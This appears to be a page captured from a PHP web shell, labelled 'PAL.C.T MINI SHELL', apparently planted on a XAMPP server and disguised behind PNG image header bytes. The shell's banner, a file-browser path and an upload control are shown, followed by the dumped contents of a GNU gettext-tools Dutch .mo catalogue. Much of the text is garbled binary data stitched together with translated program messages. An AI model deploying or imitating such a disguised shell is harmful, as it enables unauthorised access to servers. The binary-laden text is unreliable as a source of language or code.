php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/locale/nl/LC_MESSAGES/
upload
files >> //opt/lampp/share/locale/nl/LC_MESSAGES/gettext-tools.mo

|gxBy9=9w.,*
+8Dd*88
F,N {1

&"!Ik>{'3< S t+00)A%k//#,+BnT}.4?8!x	?*1cNX] Oi  y"q#~###5###F	$<P$<$<$F%TN%@%`%8E&C~&Q&E'>Z'b'8'L5(V(m(SG)=)C)X*bv*N*K(+Gt++TU,,_- t-"-!--9-?*.j.I.k7/~/"262G2!X2#z2"2%22233*:3e3Z3KB4F4>4&59;5-u5M545G&6=n6u6g"787B7O8&V8}888,8*8
9+9H9f9"9"9#909!:6:M:]:t:v:>:<:8;6I;<;:;<;>5<>t<<)<$<=N>=X=7=>=>6P>(>$>>%>?*3?;^?????@!@4@:T@$@$@@@$A5AHA]A|AAAAA.A5(B"^BB#B*BB4C
9C,GC,tCCFCGCGDbD{DDD5D5D3EHE^EoEEEEE3E/FOFcFxFTFF*F4#G8XGGG4G+G,H>H*[H'H3H'H+
I6III	cImI+I*I8I4J=QJJ0J7J!K$0KUKrK~KKK7MAM6NCTN-N5N.N?+ODkO.OFOB&PiP*uPP.PPQQ,Q,DQ*qQQ5Q'Q2R/BR)rR$RR0R8S8HS+S!S0S5T,6T5cT,TTyTOU,SU2UaU%V;V<GVV/V7VwV_qWmWd?XX)Z[
[*[A)\,k\E\=\>]=[]E]Z]?:^]z^1^M
_OX_D_H_d6`.`E`XaoiaJa<$bAabYbbbJ`cHcGc<dRd'ee'e)$f(Nfwf>fEfgIgVhphQkekuk(k*k)k,l1lNlfl"sllmVmOmJEn7n7n=o,>oNko3oMoK<puphpGgqPqOr&Prwrrr4r0r&s!Bs%ds(s+s4s(t.=tlttttt"t6t60u0gu0u4u4u23v4fv4v$v0v2&w+Ywcwsw2]x%xx+x2x(,y+Uy+yy2yNy!Lznz$z!zzz{1#{#U{'y{{#{${|("|)K|&u|"||||J}QV}$}}5}1~N~6n~~5~3~">@I=>Z>؀ -H]t0-Ձ;VS&4т=0Du9/Ѓ&':A7|7+0I\v760N%;t>;BD-.%
&*=GE` /.Q=O,my$Aj0S{	
X'tFp%8&
Jaw;Md]e)v9T6Rz-n?Cc"g	k
UPN7x<>D*V2u4[5Lbr+|1Kh:ilWo3#\I_f~Z!HB(@Y}qs^  -V, --version               output version information and exit
  -f, --fqdn, --long          long host name, includes fully qualified domain
                                name, and aliases
  -h, --help                  display this help and exit
  -i, --ip-address            addresses for the hostname
  -s, --short                 short host name
  INPUTFILE                   input PO file
  INPUTFILE ...               input files
  def.po                      translations
  def.po                      translations referring to old sources
  filename.po ...             input files
  ref.pot                     references to new sources
  ref.pot                     references to the sources
 done.
%d translated message%d translated messages%s and %s are mutually exclusive%s and explicit file names are mutually exclusive%s is only valid with %s%s subprocess%s subprocess I/O error%s subprocess failed%s subprocess failed with exit code %d%s subprocess got fatal signal %d%s%s: warning: %s: error while converting from "%s" encoding to "%s" encoding%s: input is not valid in "%s" encoding%s: warning: source file contains fuzzy translation%s:%d: can't find string terminator "%s" anywhere before EOF%s:%d: invalid string definition%s:%d: invalid string expression%s:%d: missing number after #%s:%d: missing right brace on \x{HEXNUMBER}%s:%d: warning: ')' found where '}' was expected%s:%d: warning: '}' found where ')' was expected%s:%d: warning: invalid Unicode character%s:%d: warning: lone surrogate U+%04X%s:%d: warning: unterminated character constant%s:%d: warning: unterminated regular expression%s:%d: warning: unterminated string%s:%d: warning: unterminated string constant%s:%d: warning: unterminated string literal%s:%lu:%lu: %s%sRead %ld old + %ld reference, merged %ld, fuzzied %ld, missing %ld, obsolete %ld.
', %d fuzzy translation, %d fuzzy translations, %d untranslated message, %d untranslated messages--join-existing cannot be used when output is written to stdout...but this definition is similar<unnamed>Applies a filter to all translations of a translation catalog.
Bruno HaibleC# compiler not found, try installing pnetC# virtual machine not found, try installing pnetCharset "%s" is not a portable encoding name.
Message conversion to user's charset might not work.
Charset "%s" is not supported. %s relies on iconv(),
and iconv() does not support "%s".
Charset "%s" is not supported. %s relies on iconv().
This version was built without iconv().
Charset missing in header.
Message conversion to user's charset will not work.
Compare two Uniforum style .po files to check that both contain the same
set of msgid strings.  The def.po file is an existing PO file with the
translations.  The ref.pot file is the last created PO file, or a PO Template
file (generally created by xgettext).  This is useful for checking that
you have translated each and every message in your program.  Where an exact
match cannot be found, fuzzy matching is used to produce better diagnostics.
Copyright (C) %s Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Created %s.
Danilo SeganEnglish translations for %s packageExtract translatable strings from given input files.
Found '~%c' without matching '~%c'.Generate binary message catalog from textual translation description.
In the directive number %u, "%s" is not followed by a comma.In the directive number %u, '%c' is not followed by a digit.In the directive number %u, ',' is not followed by a number.In the directive number %u, '{' is not followed by an argument number.In the directive number %u, '~:[' is not followed by two clauses, separated by '~;'.In the directive number %u, '~;' is used in an invalid position.In the directive number %u, a choice contains a number that is not followed by '<', '#' or '%s'.In the directive number %u, a choice contains no number.In the directive number %u, a precision is not allowed before '%c'.In the directive number %u, a precision specification is not allowed before '%c'.In the directive number %u, both the @ and the : modifiers are given.In the directive number %u, flags are not allowed before '%c'.In the directive number %u, parameter %u is of type '%s' but a parameter of type '%s' is expected.In the directive number %u, the argument %d is negative.In the directive number %u, the argument number 0 is not a positive integer.In the directive number %u, the argument number for the precision must be equal to %u.In the directive number %u, the argument number is not followed by a comma and one of "%s", "%s", "%s", "%s".In the directive number %u, the character '%c' is not a valid conversion specifier.In the directive number %u, the flags combination is invalid.In the directive number %u, the precision specification is invalid.In the directive number %u, the precision's argument number 0 is not a positive integer.In the directive number %u, the size specifier is incompatible with the conversion specifier '%c'.In the directive number %u, the substring "%s" is not a valid date/time style.In the directive number %u, the substring "%s" is not a valid number style.In the directive number %u, the token after '<' is not followed by '>'.In the directive number %u, the token after '<' is not the name of a format specifier macro. The valid macro names are listed in ISO C 99 section 7.8.1.In the directive number %u, the width's argument number 0 is not a positive integer.In the directive number %u, too many parameters are given; expected at most %u parameter.In the directive number %u, too many parameters are given; expected at most %u parameters.Informative output:
Input file location in C# mode:
Input file location in Java mode:
Input file location in Tcl mode:
Input file location:
Java compiler not found, try installing gcj or set $JAVACJava virtual machine not found, try installing gij or set $JAVALocale charset "%s" is not a portable encoding name.
Output of '%s' might be incorrect.
A possible workaround is to set LC_ALL=C.
Mandatory arguments to long options are mandatory for short options too.
Mandatory arguments to long options are mandatory for short options too.
Similarly for optional arguments.
Merges two Uniforum style .po files together.  The def.po file is an
existing PO file with translations which will be taken over to the newly
created file as long as they still match; comments will be preserved,
but extracted comments and file positions will be discarded.  The ref.pot
file is the last created PO file with up-to-date source references but
old translations, or a PO Template file (generally created by xgettext);
any translations or comments in the file will be discarded, however dot
comments and file positions will be preserved.  Where an exact match
cannot be found, fuzzy matching is used to produce better results.
Message selection:
Operation mode:
Output details:
Output file location in C# mode:
Output file location in Java mode:
Output file location in Tcl mode:
Output file location in update mode:
Output file location:
Output format:
Peter MillerPrint the machine's hostname.
Report bugs to <bug-gnu-gettext@gnu.org>.
The FILTER can be any program that reads a translation from standard input
and writes a modified translation to standard output.
The character that terminates the directive number %u is not a valid conversion specifier.The directive number %u ends with an invalid character '%c' instead of '}'.The directive number %u ends with an invalid character instead of '}'.The directive number %u starts with | but does not end with |.The result is written back to def.po.
The string contains a lone '}' after directive number %u.The string ends in the middle of a directive.The string ends in the middle of a directive: found '{' without matching '}'.The string ends in the middle of a ~/.../ directive.The string refers to argument number %u but ignores argument number %u.The string refers to argument number %u in incompatible ways.The string refers to arguments both through absolute argument numbers and through unnumbered argument specifications.The string refers to arguments both through argument names and through unnamed argument specifications.The string refers to some argument in incompatible ways.The string refers to the argument named '%s' in incompatible ways.The string starts in the middle of a directive: found '}' without matching '{'.Try `%s --help' for more information.
Ulrich DrepperUnknown system errorUsage: %s [OPTION]
Usage: %s [OPTION] COMMAND [COMMAND-OPTION]
Usage: %s [OPTION] FILTER [FILTER-OPTION]
Usage: %s [OPTION] INPUTFILE
Usage: %s [OPTION] URL FILE
Usage: %s [OPTION] [FILE]...
Usage: %s [OPTION] [INPUTFILE]
Usage: %s [OPTION] [INPUTFILE]...
Usage: %s [OPTION] def.po ref.pot
Usage: %s [OPTION] filename.po ...
Useful FILTER-OPTIONs when the FILTER is 'sed':
Valid arguments are:Written by %s and %s.
Written by %s.
_open_osfhandle failed``domain %s' directive ignored`msgid' and `msgid_plural' entries do not both begin with '\n'`msgid' and `msgid_plural' entries do not both end with '\n'`msgid' and `msgstr' entries do not both begin with '\n'`msgid' and `msgstr' entries do not both end with '\n'`msgid' and `msgstr[%u]' entries do not both begin with '\n'`msgid' and `msgstr[%u]' entries do not both end with '\n'a format specification for argument %u doesn't exist in '%s'a format specification for argument '%s' doesn't exist in '%s'a format specification for argument {%u} doesn't exist in '%s'ambiguous argument %s for %sat least one sed script must be specifiedat least two files must be specifiedat most one input file allowedbut some messages have one plural formbut some messages have %lu plural formsbut some messages have only one plural formbut some messages have only %lu plural formscannot create a temporary directory using template "%s"cannot create output file "%s"cannot create pipecannot find a temporary directory, try setting $TMPDIRcannot open backup file "%s" for writingcannot remove temporary directory %scannot remove temporary file %scontext separator <EOT> within stringcould not get host namedomain name "%s" not suitable as file namedomain name "%s" not suitable as file name: will use prefixduplicate message definitionempty `msgstr' entry ignoredend-of-file within stringend-of-line within stringerror after reading "%s"error reading "%s"error reading current directoryerror while converting from "%s" encoding to "%s" encodingerror while opening "%s" for readingerror while opening "%s" for writingerror while reading "%s"error while writing "%s" fileerror while writing to %s subprocesserror writing "%s"error writing stdoutexactly 2 input files requiredexactly one input file requiredexpected two argumentsfailed to create "%s"failed to create directory "%s"fdopen() failedfile "%s" contains a not NUL terminated stringfile "%s" contains a not NUL terminated string, at %sfile "%s" is not in GNU .mo formatfile "%s" is truncatedfirst plural form has nonzero indexfound %d fatal errorfound %d fatal errorsfuzzy `msgstr' entry ignoredheader field `%s' should start at beginning of line
iconv failureincomplete multibyte sequence at end of fileincomplete multibyte sequence at end of lineinconsistent use of #~input file doesn't contain a header entry with a charset specificationinternationalized messages should not contain the `\%c' escape sequenceinvalid argument %s for %sinvalid control sequenceinvalid multibyte sequenceinvalid nplurals valueinvalid plural expressioninvalid source_version argument to compile_java_classinvalid target_version argument to compile_java_classkeyword "%s" unknownlanguage `%s' unknownmemory exhaustedmissing `msgid_plural' sectionmissing `msgstr' sectionmissing `msgstr[]' sectionmissing command namemissing filter namemsgstr has too many keyboard accelerator marks '%c'msgstr lacks the keyboard accelerator mark '%c'no input file givenno input files givennplurals = %luoption '%c' cannot be used before 'J' or 'K' or 'T' or 'C' or 'X' has been specifiedplural form has wrong indexplural handling is a GNU gettext extensionpresent charset "%s" is not a portable encoding namesome header fields still have the initial default value
standard inputstandard outputtarget charset "%s" is not a portable encoding name.this file may not contain domain directivesthis is the location of the first definitionthis message is untranslatedthis message is used but not defined in %sthis message is used but not defined...this message needs to be reviewed by the translatorthis message should define plural formsthis message should not define plural formstoo many argumentstoo many errors, abortingwarning: warning: PO file header fuzzy
warning: PO file header missing or invalid
warning: charset conversion will not work
warning: file `%s' extension `%s' is unknown; will try Cwarning: invalid \uxxxx syntax for Unicode characterwarning: older versions of msgfmt will give an error on this
warning: syntax errorwarning: syntax error, expected ';' after stringwarning: syntax error, expected '=' or ';' after stringwarning: this message is not usedwarning: unterminated key/value pairwarning: unterminated stringwrite errorwrite to %s subprocess failedwrite to stdout failedProject-Id-Version: gettext-tools-0.16.2-pre5
Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org
POT-Creation-Date: 2010-06-04 01:57+0200
PO-Revision-Date: 2009-03-10 12:48+0100
Last-Translator: Erwin Poeze <erwin.poeze@gmail.com>
Language-Team: Dutch <vertaling@vrijschrift.org>
Language: nl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Launchpad-Export-Date: 2008-06-30 19:52+0000
X-Generator: KBabel 1.11.4
  -V, --version       programmaversie tonen en stoppen
  -f, --fqdn, --long          lange hostnaam: FQDN plus aliassen
  -h, --help          deze hulptekst tonen en stoppen
  -i, --ip-address            IP-adressen behorend bij de hostnaam
  -s, --short                 korte hostnaam
  INVOERBESTAND               in te lezen PO-bestand
  INVOERBESTAND...            invoerbestanden
  bestaande.po                bestaand bestand met vertalingen
  bestaande.po                bestaand bestand met oude vertalingen
  bestandsnaam.po...          invoerbestanden
  referentie.pot              verwijzingen naar nieuwe programmatekst
  referentie.pot              verwijzingen naar de programmatekst
 voltooid.
%d vertaald bericht%d vertaalde berichten%s en %s sluiten elkaar uit%s en expliciete bestandsnamen gaan niet samen%s is alleen geldig met %ssubproces %sI/O-fout in subproces %ssubproces %s is misluktsubproces %s is mislukt met afsluitwaarde %dsubproces %s ontving het fatale signaal %d%s%s: waarschuwing: %s: fout tijdens omzetten van codering '%s' naar '%s'%s: invoer is ongeldig in codering '%s'%s: waarschuwing: bronbestand bevat vage vertaling%s:%d: kan tekenreeksafsluiter '%s' niet vinden%s:%d: ongeldige definitie van tekenreeks%s:%d: ongeldige tekenreeksexpressie%s:%d: ontbrekend getal na #%s:%d: ontbrekend rechterhaakje in \x{HEXNUMBER}%s:%d: waarschuwing: ')' gevonden waar '}' werd verwacht%s:%d: waarschuwing: '}' gevonden waar ')' werd verwacht%s:%d: waarschuwing: ongeldig Unicode-teken%s:%d: waarschuwing: losse U+%04X%s:%d: waarschuwing: onafgesloten tekenconstante%s:%d: waarschuwing: onafgesloten reguliere expressie%s:%d: waarschuwing: onafgesloten tekenreeks%s:%d: waarschuwing: onafgesloten tekenreeksconstante%s:%d: waarschuwing: onafgesloten tekenreeks%s:%lu:%lu: %s%s Gelezen: %ld bestaande plus %ld referentiebestanden -- %ld overgenomen, %ld vervanderd, %ld ontbreken, %ld verouderd.
’, %d vage gelijkenis, %d vage gelijkenissen, %d onvertaald bericht, %d onvertaalde berichten'--join-existing' kan niet gebruikt worden wanneer uitvoer naar standaarduitvoer wordt geschreven...maar de definitie is gelijksoortig<ongenoemd>Een filter toepassen op alle vertalingen in een PO-bestand.
Bruno HaibleC#-compiler is niet gevonden; installeer 'pnet'virtuele C#-machine is niet gevonden; installeer 'pnet'Tekensetnaam '%s' is geen overdraagbare coderingsnaam.
Conversie van berichten naar een andere tekenset kan mislukken.
Tekenset '%s' wordt niet ondersteund -- %s gebruikt iconv(),
en iconv() ondersteunt '%s' niet.
Tekenset '%s' wordt niet ondersteund -- %s steunt op iconv(),
en deze versie is gecompileerd zonder iconv().
De tekenset ontbreekt in de kopregels.
Omzetting naar de tekenset van de gebruiker zal niet werken.
Twee PO-bestaden in Uniforum-stijl vergelijken en controleren dat beide
dezelfde set msgid's bevatten.  Het bestand 'bestaande.po' is een bestaand
PO-bestand met oude vertalingen; het bestand 'referentie.pot' is het laatst
aangemaakte PO-bestand, of een een POT-bestand (gewoonlijk aangemaakt door
'xgettext').  Het is belangrijk om te controleren dat alle berichten in het
programma vertaald zijn.  Wanneer er geen exacte overeenkomst is, wordt er
ook naar vage gelijkenissen gekeken, om een betere diagnose te kunnen geven.
Copyright (C) %s Free Software Foundation, Inc.
Dit is vrije software: u mag het vrijelijk wijzigen en verder verspreiden.
De precieze licentie is GPLv3+: GNU GPL versie 3 of later;
zie http://gnu.org/licenses/gpl.html voor de volledige tekst.
Er is GEEN GARANTIE, voor zover de wet dit toestaat.
Aangemaakt op %s.
Danilo ŠeganNederlandse vertalingen voor het pakket %sVertaalbare berichten extraheren uit de gegeven invoerbestanden.
'-%c' gevonden zonder overeenkomstige '-%c'.Uit een vertalingenbestand een binaire berichtencatalogus genereren.
In directiefnummer %u wordt "%s" niet gevolgd door een komma.In directiefnummer %u wordt '%c' niet gevolgd door een cijfer.In directiefnummer %u wordt ',' niet gevolgd door een nummer.In directiefnummer %u wordt '{' niet gevolgd door een argumentnummer.In directiefnummer %u is '~:[' niet gevolgd door twee clausules, gescheiden door een '~;'.In directiefnummer %u is '~;' gebruikt op een onjuiste positie.In directiefnummer %u bevat een keuze een getal dat niet gevolgd wordt door '<', '#' of '%s'.In directiefnummer %u bevat een keuze geen getal.In directiefnummer %u is geen nauwkeurigheidsaanduiding voor '%c' toegestaan.In directiefnummer %u is geen nauwkeurigheidsspecificatie toegestaan voor '%c'.In directiefnummer %u zijn zowel de @- en de :-aanpastekens gegeven.In directiefnummer %u zijn geen vlaggen toegestaan voorafgaand aan '%c'.In directiefnummer %u is parameter %u van type '%s' maar wordt een parameter van type '%s' verwacht.In directiefnummer %u is argument %d negatief.In directiefnummer %u is argumentnummer 0 geen positief geheel getal.In directiefnummer %u moet het argumentnummer voor de nauwkeurigheid gelijk zijn aan %u.In directiefnummer %u wordt het argumentnummer niet gevolgd door een komma en één van "%s", "%s", "%s", "%s".In directiefnummer %u is karakter '%c' geen geldige conversiespecificatie.In directiefnummer %u is de combinatie van vlaggen ongeldig.In directiefnummer %u is de nauwkeurigheidsspecificatie ongeldig.In directiefnummer %u is de nauwkeurigheid's argumentnummer 0 geen positief geheel getal.In directiefnummer %u is de groottespecificatie niet-compatibel met de conversiespecificatie '%c'.In directiefnummer %u is deeltekenreeks "%s" geen geldige datum/tijdstijl.In directiefnummer %u is deeltekenreeks "%s" geen geldige getallenstijl.In directiefnummer %u wordt de tekenreeks na '<' niet gevolgd door '>'.In directiefnummer %u is de tekenreeks na '<' niet de naam van macro met een opmaakcode. Juiste macronamen staan opgesomd in ISO C 99, paragraaf 7.8.1.In directiefnummer %u is de breedte's argumentnummer 0 geen positief geheel getal.In directiefnummer %u zijn teveel parameters opgegeven; maximaal %u parameter wordt verwacht.In directiefnummer %u zijn teveel parameters opgegeven; maximaal %u parameters worden verwacht.Informatieve uitvoer:
Locatie van invoerbestand in C#-modus:
Locatie van invoerbestand in Java-modus:
Locatie van invoerbestand in Tcl-modus:
Locatie van invoerbestand:
Java-compiler is niet gevonden; installeer 'gcj' of zet $JAVACVirtuele Java-machine is niet gevonden; installeer 'gcj' of zet $JAVATekensetnaam '%s' (gegeven door de taalregio) is geen overdraagbare
coderingsnaam.  De uitvoer van '%s' zou onjuist kunnen zijn.
Het zetten van LC_ALL=C kan dit eventueel vermijden.
Een verplicht argument bij een lange optie geldt ook voor de korte vorm.
Een verplicht of optioneel argument bij een lange optie
geldt ook voor de korte vorm.
Twee PO-bestaden in Uniforum-stijl samenvoegen.  Het bestand 'bestaande.po'
is een bestaand PO-bestand met vertalingen die overgenomen zullen worden in
het nieuwe bestand zolang ze nog precies overeenkomen; vertalercommentaren
worden overgenomen, maar geëxtraheerd commentaar en bestandsposities worden
weggelaten.  Het bestand 'referentie.pot' is het laatst aangemaakte PO-bestand
met de huidige msgid's maar oude vertalingen, of een POT-bestand (gewoonlijk
aangemaakt door 'xgettext'); alle vertalingen en vertalercommentaren worden
eruit weggelaten, maar puntcommentaren en bestandsposities worden behouden.
Wanneer er geen exacte overeenkomst is, wordt er ook naar vage gelijkenissen
gekeken, om een beter resultaat te produceren.
Berichtenselectie:
Werkingsmodus:
Uitvoerdetails:
Locatie van uitvoerbestand in C#-modus:
Locatie van uitvoerbestand in Java-modus:
Locatie van uitvoerbestand in Tcl-modus:
Locatie van uitvoerbestand in update-modus:
Locatie van uitvoerbestand:
Opmaak van de uitvoer:
Peter MillerDe hostnaam van de machine tonen.
Rapporteer gebreken in het programma aan <bug-gnu-gettext@gnu.org>;
meld fouten in de vertaling aan <vertaling@vrijschrift.org>.
Het FILTER kan elk programma zijn dat een bericht leest van standaardinvoer
en een gewijzigd bericht naar standaarduitvoer schrijft.
Het karakter waarmee directiefnummer %u afsluit is geen geldige conversiespecificatie.Het directiefnummer %u eindigt op een ongeldig karakter '%c' in plaats van '}'.Het directiefnummer %u eindigt op een ongeldig karakter in plaats van '}'.Directiefnummer %u begint met | maar eindigt niet op |.Het resultaat wordt teruggeschreven naar bestaande.po.
De tekenreeks bevat een ongepaarde '}' na directiefnummer %u.De tekenreeks stopt midden in een directief.De tekenreeks stopt midden in een directief: '{' gevonden zonder gepaarde '}'.De tekenreeks stopt midden in een ~/.../ directief.De tekenreeks verwijst naar argumentnummer %u maar negeert argumentnummer %u.De tekenreeks verwijst naar argumentnummer %u op niet-compatibele manieren.De tekenreeks verwijst naar argumenten zowel via absolute argumentnummers als via ongenummerde argumentspecificaties.De tekenreeks verwijst naar argumenten zowel via argumentnamen als via onbenoemde argumentspecificaties.De tekenreeks verwijst naar enig argument op niet-compatibele manieren.De tekenreeks verwijst naar het argument genaamd '%s' op niet-compatibele wijze.De tekenreeks begint midden in een directief: '}' gevonden zonder gepaarde '{'.Typ '%s --help' voor meer informatie.
Ulrich DrepperOnbekende systeemfoutGebruik:  %s [OPTIE...]
Gebruik:  %s [OPTIE...] OPDRACHT [OPDRACHTOPTIE...]
Gebruik:  %s [OPTIE...] FILTER [FILTEROPTIE...]
Gebruik:  %s [OPTIE...] INVOERBESTAND
Gebruik:  %s [OPTIE] URL BESTAND
Gebruik:  %s [OPTIE...] [BESTAND]...
Gebruik:  %s [OPTIE...] [INVOERBESTAND]
Gebruik:  %s [OPTIE...] [INVOERBESTAND]...
Gebruik:  %s [OPTIE...] bestaande.po referentie.pot
Gebruik:  %s [OPTIE] bestandsnaam.po...
Nuttige FILTEROPTIEs als het FILTER 'sed' is:
Geldige argumenten zijn:Geschreven door %s en %s.
Geschreven door %s.
_open_osfhandle() is mislukt‘directief 'domain %s' is genegeerd'msgid' en 'msgid_plural' beginnen niet beide met '\n''msgid' en 'msgid_plural' eindigen niet beide met '\n''msgid' en 'msgstr' beginnen niet beide met '\n''msgid' en 'msgstr' eindigen niet beide met '\n''msgid' en 'msgstr[%u]' beginnen niet beide met '\n''msgid' en 'msgstr[%u]' eindigen niet beide met '\n'opmaakcode voor argument %u komt niet voor in '%s'opmaakcode voor argument '%s' komt niet voor in '%s'opmaakcode voor argument {%u} komt niet voor in '%s'argument %s van %s is niet eenduidiger moet minstens één sed-script gegeven wordener moeten minstens twee bestanden opgegeven wordenhoogstens één invoerbestand is toegestaanmaar sommige berichten hebben één meervoudsvormmaar sommige berichten hebben %lu meervoudsvormenmaar sommige berichten hebben slechts één meervoudsvormmaar sommige berichten hebben slechts %lu meervoudsvormenkan met sjabloon '%s' geen tijdelijke map aanmakenkan uitvoerbestand '%s' niet aanmakenkan geen pijp aanmakenkan geen tijdelijke map vinden; zet $TMPDIRkan reservebestand '%s' niet openen voor schrijvenkan tijdelijke map '%s' niet verwijderenkan tijdelijk bestand '%s' niet verwijderentekstscheidingteken <EOT> IN een tekenreekskan hostnaam niet verkrijgendomeinnaam '%s' is niet bruikbaar als bestandsnaamdomeinnaam '%s' is niet bruikbaar als bestandsnaam: voorvoegsel wordt gebruiktdubbele definitie van een berichtleeg 'msgstr'-item is genegeerdbestandseindeteken IN een tekenreeksregeleindeteken IN een tekenreeksfout na lezen van '%s'fout bij lezen van '%s'fout bij lezen van huidige mapfout tijdens omzetten van codering '%s' naar '%s'fout bij openen van '%s' voor lezenfout bij openen van '%s' voor schrijvenfout tijdens lezen van '%s'fout bij schrijven van bestand '%s'fout bij schrijven naar subproces %sfout bij schrijven van '%s'fout bij schrijven naar standaarduitvoerprecies twee invoerbestanden zijn vereistprecies één invoerbestand is vereister werden twee argumenten verwachtaanmaken van '%s' is misluktkan map '%s' niet aanmakenfdopen() is misluktbestand '%s' bevat een tekenreeks die niet door NUL-teken wordt afgeslotenbestand '%s' bevat een tekenreeks die niet door NUL-teken wordt afgesloten, op %sbestand '%s' is geen GNU .mo-bestandbestand '%s' is afgekapteerste meervoudsvorm heeft een index ongelijk aan nul%d fatale fout gevonden%d fatale fouten gevondenvaag 'msgstr'-item is genegeerdkopveld '%s' moet aan het begin van de regel beginnen
iconv() is misluktonvolledige multibyte-sequentie aan einde van bestandonvolledige multibyte-sequentie aan einde van regelinconsistent gebruik van '#~'invoerbestand bevat geen kopregel met een tekensetspecificatiegeïnternationaliseerde berichten horen geen '\%c'-stuurcodes te bevattenongeldig argument %s van %songeldige stuurtekenreeksongeldige multibyte-sequentieongeldige waarde van 'nplurals'ongeldige meervoudsexpressieongeldige waarde voor 'source_version' in compile_java_class()ongeldige waarde voor 'target_version' in compile_java_class()sleutelwoord '%s' is onbekendtaal '%s' is onbekendonvoldoende geheugen beschikbaarontbrekende 'msgid_plural'ontbrekende 'msgstr'ontbrekende 'msgstr[]'ontbrekende opdrachtnaamontbrekende filternaam'msgstr' bevat te veel '%c'-sneltoetsmarkeringensneltoetsmarkering '%c' ontbreekt in 'msgstr'geen invoerbestand gegevengeen invoerbestanden gegevenaantal meervouden = %luoptie '%c' kan niet gebruikt worden voordat
'J' of 'K' of 'T' of 'C' of 'X' gegeven ismeervoudsvorm heeft een onjuiste indexmeervoudsvormen zijn een uitbreiding van GNU gettexthuidige tekensetnaam '%s' is geen overdraagbare coderingsnaamsommige kopvelden hebben nog de standaardwaarde
standaardinvoerstandaarduitvoerdoeltekensetnaam '%s' is geen overdraagbare coderingsnaamdit bestand mag geen domeindirectieven bevattendit is de plek van de eerste definitiedit bericht is onvertaalddit bericht wordt gebruikt maar is niet gedefinieerd in %sdit bericht wordt gebruikt maar is niet gedefinieerd...dit bericht moet door een vertaler gecontroleerd wordendit bericht dient meervouden te definiërendit bericht dient geen meervouden te definiërente veel argumentente veel fouten -- gestoptwaarschuwing: waarschuwing: PO-kopregels zijn gemarkeerd als 'fuzzy'
waarschuwing: PO-kopregels ontbreken of zijn ongeldig
waarschuwing: tekensetconversie zal niet werken
waarschuwing: onbekende extensie '%2$s' van bestand '%1$s'; C wordt aangenomenwaarschuwing: ongeldige '\uxxxx '-syntax voor Unicode-tekenwaarschuwing: oudere versies van 'msgfmt' vinden dit een fout
waarschuwing: syntaxfoutwaarschuwing: syntaxfout -- na tekenreeks werd ';' verwachtwaarschuwing: syntaxfout -- na tekenreeks werd '=' of ';' verwachtwaarschuwing: dit bericht wordt niet gebruiktwaarschuwing: onafgesloten sleutel/waarde-paarwaarschuwing: onafgesloten tekenreeksschrijffoutschrijven naar subproces %s is misluktschrijven naar standaarduitvoer is mislukt
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`